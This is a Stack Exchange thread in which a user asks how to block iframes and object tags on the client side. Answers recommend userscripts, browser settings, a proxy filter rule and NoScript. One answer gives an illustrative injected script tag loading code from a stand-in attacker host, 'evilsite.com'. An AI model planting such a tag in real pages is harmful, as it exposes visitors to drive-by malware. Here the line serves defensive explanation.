Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

Given that iFrames are used in many common exploits, I'd like to conditionally disable iFrames except for sites that require it such as GMail, or MasterCard SecureCode.

I also suspect the <object> tag has related functionality.

  • Is there any way to conditionally block the usage of iFrames (and/or <object>) on the client side, perhaps in a similar way a pop up blocker works?
share|improve this question

3 Answers 3

Normally this would be a tough one as iFrames are a part of the HTML spec. Hooray Browser Scripting!

One solution could be to use a greasemonkey script for FireFox or an embedded script in Chrome. Here is a link to a Greasemonkey script which claims to do what you want and a bit more.

http://userscripts.org/scripts/show/32192

You may have to tweak it slightly to get the exact desired results but this should get you going.

Share and enjoy.

share|improve this answer

In some browsers you can disable iframes and then set them to be used on per site preferences. I know opera provides this functionality.

From Quirksmode:

Disabling iframes

  • IE9: Internet Options -> Security -> Custom level (for Internet zone) -> (scroll down) -> Launching programs and files in an IFRAME -> set to Disable.
  • Firefox: Go to about:config -> search for “frames” -> click on browser.frames.enabled
  • Opera: Ctrl+F12 -> Advanced -> Content -> Style Options -> uncheck Enable inline frames

In addition, you could create a rule in a proxy, like privoxy, to filter out all iframes and then to exclude the sites you want to have iframes. I believe the built in behavior only does iframe-adds, but could be adjusted. This will give you a more global blocking. You should really just need a regex to find the opening tag and to remove till its closed, might be some cases where it will break the page.


Edit, it appears that opera does not actually disable iframes. I disabled iframes on the quirksmode link above, and it still registered the iframe. This is confirmed in the Opera Forums. I was hoping may the full quirksmode page was outdated.

opera screenshot

Probably best result to block at the proxy level before relying upon user scripts, browser features, etc. Also, more universal.

share|improve this answer

If you're simply looking to not be affected by iframes containing links to exploit kits or exploit pages, you're probably better off using NoScript for Firefox or NotScripts. It does the kind of conditional blocking you want, and it can block pretty much everything that could lead to an exploit (Javascript, Java, Flash, Silverlight, etc.). If an iframe is loaded but no kind of script can run, it's completely harmless.

I would say this is probably safer than just blocking iframes, too. If a site you visit happens to have been hacked, there's no reason why the attacker can't do <script src="http://evilsite.com"></script> which contains code that loads a malicious JAR and then a malicious SWF. iframes aren't the only thing that can load arbitrary code from external domains.

share|improve this answer

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.